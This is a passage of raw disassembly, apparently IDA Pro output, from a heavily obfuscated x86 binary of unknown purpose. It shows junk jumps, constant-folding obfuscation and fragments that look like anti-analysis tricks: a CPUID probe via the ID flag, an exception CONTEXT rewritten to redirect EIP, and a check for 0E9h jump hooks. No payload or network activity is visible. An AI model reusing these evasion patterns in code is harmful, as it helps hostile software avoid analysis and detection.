; FUNCTION CHUNK AT 00407E33 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004080A5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040A983 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0040ACEC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0040E4E9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040E90D SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0040EFFC SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0041099A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410BC2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00410F21 SIZE 0000000B BYTES

		mov	[esp+0], esi
		pop	esi
		xchg	esi, edx
		xchg	ebp, esi
		jmp	loc_40A983
sub_409E44	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B67D


loc_409E51:				; CODE XREF: sub_40B67D-5CB4j
		add	ebx, edx
		not	edx
		pop	ecx
		pop	eax
		pop	edx
		xchg	ecx, [esp-14h+arg_10]
		mov	ebx, ecx
		jmp	loc_40C478
; END OF FUNCTION CHUNK	FOR sub_40B67D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DF72


loc_409E62:				; CODE XREF: sub_40DF72-E5Cj
		jo	loc_40F381
		mov	esi, [edx]
		mov	[ebp+0], ecx


loc_409E6D:				; CODE XREF: sub_40DF72:loc_410FEEj
		mov	eax, 400h
		call	sub_40C4A5
		jmp	loc_410C88
; END OF FUNCTION CHUNK	FOR sub_40DF72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41020E


loc_409E7C:				; CODE XREF: sub_41020E:loc_40F9A8j
		add	edx, 0B6A22724h
		xchg	edx, [esp+0]
		jmp	sub_40B088
; END OF FUNCTION CHUNK	FOR sub_41020E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4086F2


loc_409E8A:				; CODE XREF: sub_4086F2+4EF5j
		call	sub_40D84E
		mov	[ebp-8], eax
		jmp	loc_40AB8B
; END OF FUNCTION CHUNK	FOR sub_4086F2

; =============== S U B	R O U T	I N E =======================================



sub_409E97	proc near		; CODE XREF: _837l4vi2:loc_40A06Ap
					; sub_40C0A5+1p ...

; FUNCTION CHUNK AT 0040D8CD SIZE 0000001D BYTES

		jz	sub_40DBC3
		push	ebp
		mov	ebp, esp
		jmp	loc_40D8CD
sub_409E97	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C1F0


loc_409EA5:				; CODE XREF: sub_40C1F0:loc_410DD8j
		pop	ebx
		and	ebx, 0B73E997Ch
		add	ebx, 7B0C8764h
		xchg	ebx, [esp+0]
		jmp	loc_40F133
; END OF FUNCTION CHUNK	FOR sub_40C1F0
; ---------------------------------------------------------------------------
		lea	eax, [ebp-14h]
		call	sub_40D9E6
; START	OF FUNCTION CHUNK FOR sub_4085A2


loc_409EC2:				; CODE XREF: sub_4085A2+7184j
		jmp	sub_40B088
; END OF FUNCTION CHUNK	FOR sub_4085A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DFF5


loc_409EC7:				; CODE XREF: sub_40DFF5:loc_405586j
		add	eax, 0B3EF89DDh
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_4067EA
		call	sub_405606
		mov	edx, 0DE6CF580h
		jmp	loc_410E1A
; END OF FUNCTION CHUNK	FOR sub_40DFF5
; ---------------------------------------------------------------------------


loc_409EE6:				; CODE XREF: _837l4vi2:00409D95j
		add	edi, esi

; =============== S U B	R O U T	I N E =======================================



sub_409EE8	proc near		; CODE XREF: sub_40F92B+3p
		mov	[esp+0], eax
		pop	eax
		mov	eax, [ebp+8]
		jmp	loc_40E405
sub_409EE8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406C3E


loc_409EF4:				; CODE XREF: sub_406C3E:loc_40E9E7j
		cmp	dword ptr [ebp-14h], 4
		jmp	loc_40C39C
; END OF FUNCTION CHUNK	FOR sub_406C3E
; ---------------------------------------------------------------------------


loc_409EFD:				; CODE XREF: _837l4vi2:loc_40AB94j
		jnz	loc_4094C9
		jmp	loc_410445
; ---------------------------------------------------------------------------
		push	0A250988Fh
		jmp	sub_40AFF0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_409F12:				; CODE XREF: sub_40D735-73E4j
		cmp	dword ptr [eax], 47424454h
		jnz	loc_409545
; END OF FUNCTION CHUNK	FOR sub_40D735
; START	OF FUNCTION CHUNK FOR sub_40833D


loc_409F1E:				; CODE XREF: sub_40D735-8305j
					; sub_410D95-B320j ...
		jno	loc_406670
		push	edx
		jmp	loc_409378
; END OF FUNCTION CHUNK	FOR sub_40833D

; =============== S U B	R O U T	I N E =======================================



sub_409F2A	proc near		; DATA XREF: sub_40EFBF+3o
		mov	eax, ds:dword_41000C
		push	offset loc_40B00C
		jmp	nullsub_109
sub_409F2A	endp

; ---------------------------------------------------------------------------


loc_409F3A:				; DATA XREF: sub_40C1C2+1o
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		cmp	ds:dword_40AB74, 0
		jnz	loc_409080
		lea	edx, [ebp-14h]
		mov	eax, offset dword_40AB80
		jmp	loc_40D372
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CEC1


loc_409F59:				; CODE XREF: sub_40CEC1:loc_4093FCj
		rol	edi, 4
		jmp	loc_4098D5
; END OF FUNCTION CHUNK	FOR sub_40CEC1
; ---------------------------------------------------------------------------
		jmp	nullsub_157
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4108AF


loc_409F66:				; CODE XREF: sub_4108AF-584Ej
					; sub_4108AF-2B8Dj ...
		xor	edx, edx
		push	4C8FC91Fh
		pop	eax
		jmp	loc_40E7F2
; END OF FUNCTION CHUNK	FOR sub_4108AF
; ---------------------------------------------------------------------------
		pushf
; START	OF FUNCTION CHUNK FOR sub_407FEA


loc_409F74:				; CODE XREF: sub_407FEA:loc_40A0EBj
		add	ebx, ecx
		jmp	sub_40A38D
; END OF FUNCTION CHUNK	FOR sub_407FEA
; ---------------------------------------------------------------------------
		push	951EE732h
		pop	edx
		add	edx, 8294DA9Dh
		call	sub_40E739
		xchg	eax, edx
		push	edx
		jmp	loc_40A807
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B7DE


loc_409F94:				; CODE XREF: sub_40B7DE:loc_406B1Aj
		xor	edx, edx
		div	ecx


loc_409F98:				; CODE XREF: _837l4vi2:004054B4j
		mov	[ebp-20h], edx
		push	0D0CA5B5Fh
		pop	ecx
		xor	ecx, 2A2A2E9Fh
		add	ecx, ebp
		jmp	loc_405162
; END OF FUNCTION CHUNK	FOR sub_40B7DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E3C8


loc_409FAE:				; CODE XREF: sub_40E3C8-30D7j
		jl	loc_40D3AF
		shl	edx, 18h
		jmp	loc_40687E
; END OF FUNCTION CHUNK	FOR sub_40E3C8
; ---------------------------------------------------------------------------


loc_409FBC:				; CODE XREF: _837l4vi2:loc_40B3C8j
		xchg	eax, [ecx]
		cmp	esi, 0A6A92B10h
		jmp	loc_40E320
; ---------------------------------------------------------------------------


loc_409FC9:				; CODE XREF: _837l4vi2:loc_40D46Ej
		xchg	esi, [esp]
		jmp	nullsub_8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_183. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410D95


loc_409FD2:				; CODE XREF: sub_410D95-B31Aj
		jmp	loc_40ED1C
; END OF FUNCTION CHUNK	FOR sub_410D95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4055B5


loc_409FD7:				; CODE XREF: sub_4055B5+3j
		jmp	loc_408C8B
; END OF FUNCTION CHUNK	FOR sub_4055B5
; ---------------------------------------------------------------------------


loc_409FDC:				; CODE XREF: _837l4vi2:loc_40AFDDj
		pushf
		mov	[esp], edx
		push	ebx
		shl	eax, 13h
		or	ebx, eax
		jmp	loc_40A4D8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_77. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_409FEC	proc near		; DATA XREF: sub_40D9E6+5o
		call	sub_407AA4
		mov	ds:dword_40D3E0, eax
		cmp	ds:dword_40D3E0, 0
sub_409FEC	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40855B


loc_409FFD:				; CODE XREF: sub_40855B+7j
		jnz	loc_40C0B0
		jmp	loc_40DD87
; END OF FUNCTION CHUNK	FOR sub_40855B
; ---------------------------------------------------------------------------


loc_40A008:				; CODE XREF: _837l4vi2:0040FDA4j
		mov	ecx, 0F6B9D2FFh

; =============== S U B	R O U T	I N E =======================================



sub_40A00D	proc near		; CODE XREF: sub_406088+19p

; FUNCTION CHUNK AT 0040E758 SIZE 00000005 BYTES

		mov	[esp+0], edx
		pop	edx
		add	eax, ebp
		add	eax, 1CAC28A3h
		mov	eax, [eax]
		jmp	loc_40E758
sub_40A00D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405F85


loc_40A020:				; CODE XREF: sub_405F85:loc_40C397j
		xor	[esi], edx
		push	offset loc_4103B8
		jmp	nullsub_130
; END OF FUNCTION CHUNK	FOR sub_405F85
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_210. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		test	esi, 0B1D7A025h
		jmp	loc_40CC2D
; ---------------------------------------------------------------------------


loc_40A038:				; CODE XREF: _837l4vi2:004050FDj
		push	offset loc_411070
		jmp	locret_40F570
; ---------------------------------------------------------------------------


loc_40A042:				; DATA XREF: sub_40B65B+7o
		pushf
		pop	eax
		xor	eax, 200000h
		push	eax
		popf
		jmp	loc_40A9B2

; =============== S U B	R O U T	I N E =======================================



sub_40A050	proc near		; CODE XREF: sub_405752+130Cp
					; _837l4vi2:004107ACj

; FUNCTION CHUNK AT 00406482 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00408986 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004089D2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004089E6 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040B24B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CB50 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040D01C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E19E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040E7BB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0041076D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00410DFB SIZE 0000001F BYTES

		xchg	esi, [esp+0]
		pop	esi
		or	eax, eax
		jnz	loc_40E7BB
		jmp	loc_406482
sub_40A050	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405F85


loc_40A061:				; CODE XREF: sub_405F85+2645j
		xchg	ebx, edx


loc_40A063:				; CODE XREF: _837l4vi2:00407518j
		cmp	edx, eax
		jmp	loc_40E8C0
; END OF FUNCTION CHUNK	FOR sub_405F85
; ---------------------------------------------------------------------------


loc_40A06A:				; DATA XREF: sub_4086F2+11o
		call	sub_409E97
		mov	[ebp-4], eax
		jmp	loc_407873
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409D32


loc_40A077:				; CODE XREF: sub_409D32:loc_40FC3Ej
		lea	eax, [ebp-125h]
		push	eax
		call	sub_40813B


loc_40A083:				; CODE XREF: _837l4vi2:0040C076j
		jmp	loc_40A8A4
; END OF FUNCTION CHUNK	FOR sub_409D32
; ---------------------------------------------------------------------------
		jnb	loc_40CFAF
		push	ecx
		mov	ecx, [esp+10h]
		mov	dword ptr [ecx], 10001h
		lea	eax, loc_40990B
		mov	[ecx+0B8h], eax
		pop	ecx
		jmp	loc_40CD02
; ---------------------------------------------------------------------------


loc_40A0AB:				; CODE XREF: _837l4vi2:004054BAj
		xor	ebx, 0C48371A0h
		popf
; START	OF FUNCTION CHUNK FOR sub_405492


loc_40A0B2:				; CODE XREF: sub_405492+Dj
		xor	ecx, 8CFB6616h
		add	ecx, 83B8638h
		add	ecx, ebp
		add	ecx, 0B2123439h
		mov	[ecx], eax
		pop	ecx
		jmp	loc_406D1F
; END OF FUNCTION CHUNK	FOR sub_405492
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DF4A


loc_40A0CE:				; CODE XREF: sub_40DF4A+12j
		test	al, al
		jz	loc_40D729
		push	eax
		push	19868D0Eh
		pop	eax
		add	eax, 0E6B9DC07h
		xchg	eax, [esp+818h+var_818]
		jmp	sub_40E0FB
; END OF FUNCTION CHUNK	FOR sub_40DF4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407FEA


loc_40A0EB:				; CODE XREF: sub_407FEA+32AFj
		jno	loc_409F74
		jnp	loc_408038


loc_40A0F7:				; CODE XREF: sub_407FEA:loc_410AA7j
		cmp	dword ptr [ebp-1C8h], 2B584245h
		jnz	loc_4091F5
		jmp	loc_40C658
; END OF FUNCTION CHUNK	FOR sub_407FEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40600B


loc_40A10C:				; CODE XREF: sub_40600B:loc_409669j
		add	ebx, 0D41F3FD4h
		xchg	ebx, [esp-4+arg_0]
		push	28h
		push	offset sub_40CD8A
		jmp	loc_40EE5F
; END OF FUNCTION CHUNK	FOR sub_40600B
; ---------------------------------------------------------------------------


loc_40A121:				; DATA XREF: sub_40AC43+1A56o
		add	edi, 0CB9AD8E3h
		mov	[edi], eax
		call	sub_40D242
; START	OF FUNCTION CHUNK FOR sub_40C6B2


loc_40A12E:				; CODE XREF: sub_40C6B2+6j
		jmp	loc_405578
; END OF FUNCTION CHUNK	FOR sub_40C6B2
; ---------------------------------------------------------------------------
		db 45h
dword_40A134	dd 0E5DF75EBh						; sub_40E0DF+23BCw
dword_40A138	dd 0FBAF522Eh	dword_40A13C	dd 0EEBD68BBh						; sub_40CA72+7r
		dd 0EEBBC73Bh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40833D


loc_40A144:				; CODE XREF: sub_40833D+6A8Cj
		jmp	loc_40D6C4
; END OF FUNCTION CHUNK	FOR sub_40833D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_408D96


loc_40A149:				; CODE XREF: sub_408D96+Ej
		jmp	loc_40AC0A
; END OF FUNCTION CHUNK	FOR sub_408D96
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405474


loc_40A14E:				; CODE XREF: sub_405474+6j
		jmp	sub_4090A6
; END OF FUNCTION CHUNK	FOR sub_405474
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AA44


loc_40A153:				; CODE XREF: sub_40AA44+1E25j
		xchg	edx, [ebx]
		or	edx, ebx
		test	ecx, edx
		jmp	loc_410FF9
; END OF FUNCTION CHUNK	FOR sub_40AA44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BF48


loc_40A15E:				; CODE XREF: sub_40BF48:loc_40C9A0j
		or	eax, eax
		jnz	loc_405674
		jmp	loc_40FB62
; END OF FUNCTION CHUNK	FOR sub_40BF48
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405D62


loc_40A16B:				; CODE XREF: sub_405D62+585Fj
		jle	loc_40E043


loc_40A171:				; CODE XREF: sub_405D62:loc_40CD62j
		call	sub_409218
		jmp	loc_40E653
; END OF FUNCTION CHUNK	FOR sub_405D62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41087A


loc_40A17B:				; CODE XREF: sub_41087Aj
		cmp	byte ptr [ebp-5], 0
		jnz	loc_4092D0
		jmp	loc_40A9F2
; END OF FUNCTION CHUNK	FOR sub_41087A
; ---------------------------------------------------------------------------


loc_40A18A:				; CODE XREF: _837l4vi2:00409424j
		add	edi, ecx
; START	OF FUNCTION CHUNK FOR sub_407E61


loc_40A18C:				; CODE XREF: sub_407E61:loc_409417j
		rol	edx, 15h
		add	edx, 0A1354F6Ch
		xchg	edx, [esp+4+var_4]
		jmp	sub_40B99D
; END OF FUNCTION CHUNK	FOR sub_407E61
; ---------------------------------------------------------------------------


loc_40A19D:				; CODE XREF: _837l4vi2:00406BF3j
		xchg	edx, ecx
		xor	ecx, esi
		adc	edx, ebp
; START	OF FUNCTION CHUNK FOR sub_40C1F0


loc_40A1A3:				; CODE XREF: sub_40C1F0:loc_40FBBFj
		jmp	loc_41046C
; END OF FUNCTION CHUNK	FOR sub_40C1F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406834


loc_40A1A8:				; CODE XREF: sub_406834:loc_4081E6j
		add	dword ptr [esp+0], 0C37D1326h
		lea	eax, [ebp+var_1C8]
		push	eax
		push	4B1C86h
		jmp	loc_406BA3
; END OF FUNCTION CHUNK	FOR sub_406834
; ---------------------------------------------------------------------------


loc_40A1C0:				; CODE XREF: _837l4vi2:0040B222j
		jnp	loc_40979B
		and	ebx, ecx
		jmp	loc_40E943

; =============== S U B	R O U T	I N E =======================================



sub_40A1CD	proc near		; CODE XREF: sub_40DAC8+Bj
		push	ebx
		push	0FC2BAB07h
		pop	ebx
		call	sub_40B3B0
sub_40A1CD	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40BF48


loc_40A1D9:				; CODE XREF: sub_40BF48-68CDj
		xor	eax, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_40BF48
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40833D


loc_40A1DC:				; CODE XREF: sub_40833D-74Cj
		jmp	loc_408078
; END OF FUNCTION CHUNK	FOR sub_40833D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E1CD


loc_40A1E1:				; CODE XREF: sub_40E1CD-7E2Bj
		jmp	loc_40D33D
; END OF FUNCTION CHUNK	FOR sub_40E1CD

; =============== S U B	R O U T	I N E =======================================



sub_40A1E6	proc near		; CODE XREF: sub_40CE0E+4p
					; sub_40D92B+Dp

; FUNCTION CHUNK AT 00405029 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409228 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040E20D SIZE 00000017 BYTES

		call	sub_40BF48
		test	al, al
		jmp	loc_405029
sub_40A1E6	endp

; ---------------------------------------------------------------------------
		add	ecx, 91746E1Eh
		jmp	sub_4061E8
; ---------------------------------------------------------------------------
		push	eax
		rol	eax, 7
		call	sub_40AFCA
; START	OF FUNCTION CHUNK FOR sub_408736


loc_40A206:				; CODE XREF: sub_408736:loc_40B6DFj
		jz	loc_4083A7
		jmp	loc_40AE13
; END OF FUNCTION CHUNK	FOR sub_408736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D7F5


loc_40A211:				; CODE XREF: sub_40D7F5-964j
		jz	loc_40E24A
		jmp	loc_4077AC
; END OF FUNCTION CHUNK	FOR sub_40D7F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_40A21C:				; CODE XREF: sub_40D735-576Aj
		call	sub_405CBC

locret_40A221:				; CODE XREF: sub_40A1E6:loc_40E20Dj
		retn
; END OF FUNCTION CHUNK	FOR sub_40D735

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A222	proc near		; CODE XREF: sub_40A58E+32FCp
					; sub_40B89B:loc_411054j

; FUNCTION CHUNK AT 00407CC8 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	offset sub_40A34C
		jmp	loc_407CC8
sub_40A222	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C1F0


loc_40A22F:				; CODE XREF: sub_40C1F0:loc_4097C9j
					; sub_40C1F0+4B98j
		mov	eax, 60h
		push	ecx
		push	56FBBBA3h
; END OF FUNCTION CHUNK	FOR sub_40C1F0
; START	OF FUNCTION CHUNK FOR sub_40F9B3


loc_40A23A:				; CODE XREF: sub_40F9B3:loc_40F34Bj
		pop	ecx
		or	ecx, 0C69AF3A3h
		add	ecx, 294454B9h
		xchg	ecx, [esp-4+arg_0]
		jmp	sub_40D92B
; END OF FUNCTION CHUNK	FOR sub_40F9B3

; =============== S U B	R O U T	I N E =======================================



sub_40A24F	proc near		; CODE XREF: _837l4vi2:loc_40CAA8j
					; DATA XREF: sub_40833D+104Do

; FUNCTION CHUNK AT 004103AD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00410C7E SIZE 00000005 BYTES

		push	0
		push	10h
		push	0A705B810h
		pop	eax
		add	eax, 28990B75h
		add	eax, ebp
		add	eax, 30613C83h
		mov	eax, [eax]
		jmp	loc_4103AD
sub_40A24F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A26E	proc near		; CODE XREF: sub_408864+11p
					; _837l4vi2:0040F984j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00405122 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D648 SIZE 00000007 BYTES

		mov	[esp+0], ecx
		pop	ecx
		push	ecx
		push	8E70D671h
		pop	ecx
		call	sub_40AB62


loc_40A27E:				; DATA XREF: sub_40CA5A-18DBo
		ror	eax, 15h
		and	eax, 72AE15Dh
		add	eax, 0CCEB3494h
		pop	ecx
		xchg	ebp, [esp-4+arg_0]
		mov	edx, ebp
		pop	ebp
		pop	eax


loc_40A295:				; CODE XREF: _837l4vi2:loc_40C093j
		jmp	loc_40D648
sub_40A26E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40A29A	proc near		; DATA XREF: sub_40E266-4D69o
		push	2
		push	0


loc_40A29E:				; CODE XREF: _837l4vi2:0040B796j
		push	0
		lea	eax, [ebp-4]
		xchg	eax, ebx


loc_40A2A5:				; CODE XREF: _837l4vi2:loc_405302j
		jmp	sub_411085
sub_40A29A	endp

; ---------------------------------------------------------------------------

locret_40A2AA:				; CODE XREF: _837l4vi2:loc_40DA58j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40A2AB	proc near		; CODE XREF: sub_40E3C8+1p

; FUNCTION CHUNK AT 00406D5C SIZE 00000005 BYTES

		push	ebp
		push	offset loc_40AB2C
		jmp	loc_406D5C
sub_40A2AB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407FEA


loc_40A2B6:				; CODE XREF: sub_407FEA+6FB6j
		jle	loc_410AA7


loc_40A2BC:				; CODE XREF: sub_40A58E:loc_4103E1j
		call	sub_408885


loc_40A2C1:				; CODE XREF: _837l4vi2:0040E12Fj
		jmp	nullsub_108
; END OF FUNCTION CHUNK	FOR sub_407FEA
; ---------------------------------------------------------------------------


loc_40A2C6:				; CODE XREF: _837l4vi2:0040AE3Dj
		jmp	loc_4082FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4097D5


loc_40A2CB:				; CODE XREF: sub_4097D5+Aj
		jmp	loc_40A4B8
; END OF FUNCTION CHUNK	FOR sub_4097D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4104E3


loc_40A2D0:				; CODE XREF: sub_4104E3-751Fj
		jmp	loc_406766
; END OF FUNCTION CHUNK	FOR sub_4104E3

; =============== S U B	R O U T	I N E =======================================



sub_40A2D5	proc near		; CODE XREF: _837l4vi2:0040CC5Fj
					; sub_40DE68-B0Fp

; FUNCTION CHUNK AT 004060F1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040BEAA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E98C SIZE 00000007 BYTES

		mov	[esp+0], esi
		pop	esi
		cmp	byte ptr [eax],	0E9h
		jz	loc_40E98C
		call	sub_410362


loc_40A2E7:				; CODE XREF: sub_40FB01-7FA3j
		jmp	nullsub_28
sub_40A2D5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40A2EC	proc near		; DATA XREF: _837l4vi2:0040A612o
		push	0
		push	offset sub_407882
		jmp	nullsub_193
sub_40A2EC	endp

; ---------------------------------------------------------------------------
		cmp	esi, 2AB882DAh
		jmp	loc_40AE56
; ---------------------------------------------------------------------------
		push	eax
; START	OF FUNCTION CHUNK FOR sub_4068AB


loc_40A304:				; CODE XREF: _837l4vi2:0040B1DBj
					; sub_4068AB:loc_40D026j
		rol	eax, 19h
		push	esi
		push	offset loc_40DA69
		jmp	nullsub_199
; END OF FUNCTION CHUNK	FOR sub_4068AB

; =============== S U B	R O U T	I N E =======================================



sub_40A312	proc near		; CODE XREF: sub_40DFF5+28j
					; _837l4vi2:00410044p

; FUNCTION CHUNK AT 0040D786 SIZE 0000000D BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		jnz	loc_40A3A5
		mov	eax, [ebp+8]
		jmp	loc_40D786
sub_40A312	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40A324:				; DATA XREF: _837l4vi2:00409761o
		push	2B39AFDAh
		mov	[esp], eax
		rol	eax, 12h
		push	edi
		push	0EE65D86Bh
		pop	edi
		or	edi, 0E21C0393h
		add	edi, 11C2CFB1h
		jmp	loc_40B39F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40926F


loc_40A347:				; CODE XREF: sub_40926F:loc_40949Fj
		call	sub_40B859
; END OF FUNCTION CHUNK	FOR sub_40926F

; =============== S U B	R O U T	I N E =======================================



sub_40A34C	proc near		; DATA XREF: sub_40A222+3o

; FUNCTION CHUNK AT 00405DCD SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040F247 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040F9F2 SIZE 00000005 BYTES

		add	esp, 0FFFFFFF4h
		mov	[ebp-8], eax
		add	edx, ebx
		call	sub_40CC6E


loc_40A359:				; CODE XREF: sub_40B3A7:loc_40561Fj
		jz	loc_405DD1
		jmp	loc_40F9F2
sub_40A34C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4108AF


loc_40A364:				; CODE XREF: sub_4108AF-15Dj
		sbb	ebp, 0CC6161F7h
		jp	loc_40D14B


loc_40A370:				; CODE XREF: sub_4108AF:loc_4065CDj
		push	4
		mov	eax, [ebp-8]
		add	eax, 4
		push	eax
		mov	eax, [ebp+8]
		add	eax, 0AACE9D5Ah
		jmp	loc_40DD12
; END OF FUNCTION CHUNK	FOR sub_4108AF
; ---------------------------------------------------------------------------

locret_40A387:				; CODE XREF: _837l4vi2:004107F0j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DF72


loc_40A388:				; CODE XREF: sub_40DF72+1225j
		jmp	loc_410AE8
; END OF FUNCTION CHUNK	FOR sub_40DF72

; =============== S U B	R O U T	I N E =======================================



sub_40A38D	proc near		; CODE XREF: sub_407FEA+1F8Cj
					; sub_40A312+347Cp
		xchg	ecx, [esp+0]
		pop	ecx
		call	sub_40E7E1
		pop	ecx
		shl	eax, 3
		mov	edx, [ebp+8]


loc_40A39D:				; CODE XREF: sub_405BB4:loc_40B480j
		or	[edx-8], eax
		jmp	loc_408240
sub_40A38D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405BB4


loc_40A3A5:				; CODE XREF: sub_40A312+4j
					; sub_405BB4+8D01j
		cmp	dword ptr [ebp-10h], 1
		jmp	loc_405A80
; END OF FUNCTION CHUNK	FOR sub_405BB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_40A3AE:				; CODE XREF: sub_40D735+2EFEj
		mov	ebx, [esi]
		pushf
		shl	edi, 10h
		jmp	loc_40838B
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------


loc_40A3B9:				; CODE XREF: _837l4vi2:0040CBD8j
		jb	loc_40D96A
		pop	eax
		jmp	loc_40FA62
; ---------------------------------------------------------------------------


loc_40A3C5:				; DATA XREF: sub_4100FB-2EAo
		push	7F964CDCh
		pop	ebx
		add	ebx, 8069B324h
		popf
		push	offset sub_40CBA6
		jmp	locret_4063A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CA72


loc_40A3DC:				; CODE XREF: sub_40CA72+Fj
		jnz	loc_405E0D
		call	sub_409D6B
		push	29F59600h
		pop	edx
		sub	edx, 4C9D23FFh
		or	edx, 0D619F274h
		push	offset loc_405DF2
		jmp	loc_40FC58
; END OF FUNCTION CHUNK	FOR sub_40CA72
; ---------------------------------------------------------------------------
		xchg	ecx, [edi]
		jmp	loc_410209
; ---------------------------------------------------------------------------
		or	ebp, eax
		sbb	ebx, 939CFC02h
		jmp	sub_40EC3B
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A418	proc near		; CODE XREF: _837l4vi2:loc_407F37p
					; sub_40A58E-25E5p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0040D146 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	2A1096F1h
		jmp	loc_40D146
sub_40A418	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D977


loc_40A425:				; CODE XREF: sub_40D977:loc_4051D8j
		jb	loc_408DB0
		call	sub_405AFA

